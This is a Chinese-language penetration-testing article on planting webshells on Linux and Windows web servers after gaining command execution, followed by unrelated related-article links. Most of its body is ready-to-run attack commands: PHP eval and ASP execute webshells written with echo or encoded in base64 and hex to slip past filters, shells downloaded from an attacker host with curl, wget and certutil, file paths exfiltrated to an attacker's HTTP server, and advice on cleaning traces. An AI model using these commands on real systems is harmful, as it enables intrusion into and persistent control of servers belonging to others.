命令执行之文件落地利用总结

简介: 命令执行之文件落地利用总结

0x01 前言

利用各类RCE远程命令执行或MSSQL注入等漏洞获取到一个能够执行命令的权限后该如何写入Webshell?这里我们根据可能会遇到的多个场景进行了一些测试,如:Linux/Windows,出/不出网、有/无回显。


一般我们在确定能够执行命令时都会选择直接上线CS/MSF,但也会遇到那种不出网、无回显的场景,这时可能就需要找到目标网站的绝对路径先写入一个Webshell,然后再进行后续的信息搜集及内网渗透等。


注:我们可以通过在网站前/后台的上传功能随便传一个文件,然后再利用Windows的for或Linux的while等命令来查找刚上传的文件,或网站下已存在的文件得到绝对路径,最后再写入文件即可,继续往下看。


0x02 Linux

(1) 目标出网,命令有回显

如果目标主机可以出网,并且执行命令有回显,这时我们就可以直接通过执行以下命令来获取目标网站的绝对路径,然后再利用以下多种方式写入或下载Webshell。


查找绝对路径:

    locate 1653042293000.png 2>/dev/null
    find / -name 1653042293000.png 2>/dev/null
    find / | grep 1653042293000.png 2>/dev/null
    find /var/www/html/ -name "*.php" | xargs grep "某某网站"


    常规方式写入:

      echo '<?php eval($_POST[1]);?>' > /var/www/html/shell.php


      远程下载写入:

        curl http://192.168.1.120/shell.txt > /var/www/html/shell.php
        wget http://192.168.1.120/shell.txt -O /var/www/html/shell.php


        (2) 目标出网,命令无回显

        如果目标主机可以出网,但执行命令无回显,这时我们可以通过执行以下命令使用httplog方式来获取目标网站的绝对路径,然后再利用以下方式写入Webshell,需转义或有防护时可尝试编码方式写入。


        查找绝对路径:

          python -m SimpleHTTPServer 8888
          curl http://192.168.1.120:8888/`find / | grep 1653042293000.png`
          wget http://192.168.1.120:8888/`find / | grep 1653042293000.png`


          编码方式写入:

            echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+ | base64 -d > /var/www/html/shell.php
            echo 3C3F706870206576616C28245F504F53545B315D293B3F3E | xxd -r -ps > /var/www/html/shell.php


            (3) 目标不出网,命令无回显

            如果目标主机不能出网,并且执行命令无回显,这时我们可以通过执行以下命令先遍历出1653042293000.png文件的绝对路径,然后再次遍历该文件绝对路径,或者将Webshell写入到该文件同级目录下。


            实战应用中最好是先确定目标网站的绝对路径,然后单独写入Webshell,最好不要直接使用第二条命令,因为如果目标主机上有同名文件时则会往找到的多个绝对路径下写入文件,到时还要注意清理痕迹


            查找绝对路径写入至web目录:

              find / -name 1653042293000.png | while read f;do sh -c 'find / -name 1653042293000.png' >$(dirname $f)/path.txt;done


              查找绝对路径写入Webshell:

                find / -name 1653042293000.png | while read f;do sh -c "echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+ | base64 -d">$(dirname $f)/shell.php;done
                find / -name 1653042293000.png | while read f;do sh -c "echo 3C3F706870206576616C28245F504F53545B315D293B3F3E | xxd -r -ps">$(dirname $f)/shell.php;done


                0x03 Windows

                (1) 目标出网,命令有回显

                如果目标主机可以出网,并且执行命令有回显,这时我们可以通过执行dir、where、for、finstr等命令,或读取IIS配置文件等方式来获取目标网站的绝对路径,然后再利用以下多种方式写入或下载Webshell。


                查找绝对路径:

                  dir /a/b/s C:\1653042293000.png
                  where /r C:\1653042293000.png
                  for /r "C:\" %i in (1653042293000.png*) do @echo %i
                  findstr /n /s /i "某某网站" C:\*.asp
                  %windir%\system32\inetsrv\appcmd list VDIR


                  常规方式写入:

                    set /p="<%execute request("1")%>" <nul >> C:\inetpub\wwwroot\shell.asp
                    echo ^<%execute request("1")%^> > C:\inetpub\wwwroot\shell.asp
                    certutil -urlcache -split -f http://192.168.1.105:8080/shell.txt C:\inetpub\wwwroot\shell.asp


                    (2) 目标出网,命令无回显

                    如果目标主机可以出网,但执行命令无回显,这时我们可以通过执行以下命令在指定的C盘中循环查找1653042293000.png文件,将找到的文件绝对路径保存在%i变量,然后执行certutil通过httplog方式来获取目标网站的绝对路径,或者直接写入Webshell,需转义或有防护时可尝试编码方式写入,需清理shell.txt。


                    查找绝对路径:

                      python -m SimpleHTTPServer 8888
                      for /r C:\ %i in (1653042293000.png*) do certutil -urlcache -split -f http://192.168.1.120:8888/%i


                      常规方式写入:

                        for /r C:\ %i in (1653042293000.png*) do echo ^<%execute request("1")%^> > %i/../shell.asp


                        编码方式写入:


                        for /r C:\ %i in (1653042293000.png*) do echo PCVleGVjdXRlIHJlcXVlc3QoIjEiKSU+ > %i/../shell.txt & certutil -decode %i/../shell.txt %i/../shell.asp
                        for /r C:\ %i in (1653042293000.png*) do echo 3C256578656375746520726571756573742822312229253E > %i/../shell.txt & certutil -decodehex %i/../shell.txt %i/../shell.asp


                        (3) 目标不出网,命令无回显

                        如果目标主机不能出网,并且执行命令无回显,这时我们可以通过执行以下命令将找到的1653042293000.png文件绝对路径,或者将Webshell写入到该文件同级目录下,需转义或有防护时可尝试编码方式写入。


                        两条命令虽然看起来差不多,但第一条执行效率要高一些,因为在命令执行过程中就已经写入了,第二条得在命令执行完成后才会写入,所以个人推荐使用第一种,注意清理同名文件路径下的痕迹。


                        查找绝对路径写入至web目录:

                          for /r C:\ %i in (1653042293000.png*) do echo %i> %i\..\path.txt
                          for /f %i in ('dir /s /b C:\1653042293000.png') do echo %i> %i\..\path.txt
                          forfiles /P C:\ /S /M 1653042293000.png /C "cmd /c dir /a/b/s C:\1653042293000.png > path.txt"
                          


                          查找绝对路径写入Webshell:

                            for /r C:\ %i in (1653042293000.png*) do echo ^<%execute request("1")%^> > %i/../shell.asp
                            for /f %i in ('dir /s /b C:\1653042293000.png') do echo ^<%execute request("1")%^> > %i/../shell.asp
                            forfiles /P C:\ /S /M 1653042293000.png /C "cmd /c echo ^<%execute request("1")%^> > shell.asp"


                            文末总结:

                            这篇文章我将找绝对路径方式分为3种:命令查找(有回显)、httplog外带(无回显)、写进Web目录(不出网),写文件方式也分为3种:常规写入、编码写入、远程下载。Linux、Windows利用方式都一样,只是命令不一样,都是根据文件名、文件内容找绝对路径,常见文件写入、下载方式进行Getshell。

                            相关文章
                            |
                            1月前
                            |
                            Linux
                            Linux常用脚本应用服务检查脚本
                            Linux常用脚本应用服务检查脚本
                            11 0
                            |
                            8月前
                            |
                            编译器
                            一个hello文件的四个阶段
                            一个hello文件的四个阶段
                            49 0
                            如何使用shell脚本在服务器中运行cdo命令进行批量合并、插值、求日均、月均等
                            如何使用shell脚本在服务器中运行cdo命令进行批量合并、插值、求日均、月均等
                            |
                            运维 监控 关系型数据库
                            DO447管理任务执行--速度执行优化
                            DO447管理任务执行--速度执行优化
                            173 0
                            DO447管理任务执行--速度执行优化
                            |
                            Shell Linux
                            Shell综合应用案例,归档文件、发送消息
                            Shell综合应用案例,归档文件、发送消息
                            Shell综合应用案例,归档文件、发送消息
                            |
                            IDE 测试技术 开发工具
                            教你实现一个非常有趣的自动化脚本“循环执行”的实例
                            教你实现一个非常有趣的自动化脚本“循环执行”的实例
                            745 0
                            |
                            XML 编解码 Java
                            你以为Shell只是命令行?读懂这篇文,给你的工作赋能
                            你以为Shell只是命令行?读懂这篇文,给你的工作赋能
                            |
                            XML 编解码 Shell
                            你以为Shell只是命令行?读懂这篇文,给你的工作赋能
                            Shell 是什么呢?很多人以为的Shell就是命令行,一条条可以百度出来的命令行。而简历上你只会写熟悉Linux?今天用摩拜App给大家讲解下如何使用 Shell 去操作 Android 设备进行自动化测试。 首先我们需要准备一部手机或者一个Android模拟器。然后电脑上需要配置Android开发环境。 - 下载 Android SDK:,按照系统版本下载相应的zip包。请按照自己的系统按
                            |
                            Shell Linux 网络安全
                            大技霸教你远程执行Linux脚本和命令
                            如果现在需要在 Linux 服务器上执行一系列命令(比如搭建 LNMP 环境)我应该会第一时间想到想办法写个 Shell 脚本,然后扔上去执行以下看看结果。 然而一贯懒惰的我并不想这么去执行 Shell 和一些重复命令。所以俺寻思可以有个方法本地直接在服务器端执行脚本,寻思生异端,这时候有某大技霸告诉我有个叫 paramiko 的 Python 库,从此开启我新世界的大门。
                            238 0
                            大技霸教你远程执行Linux脚本和命令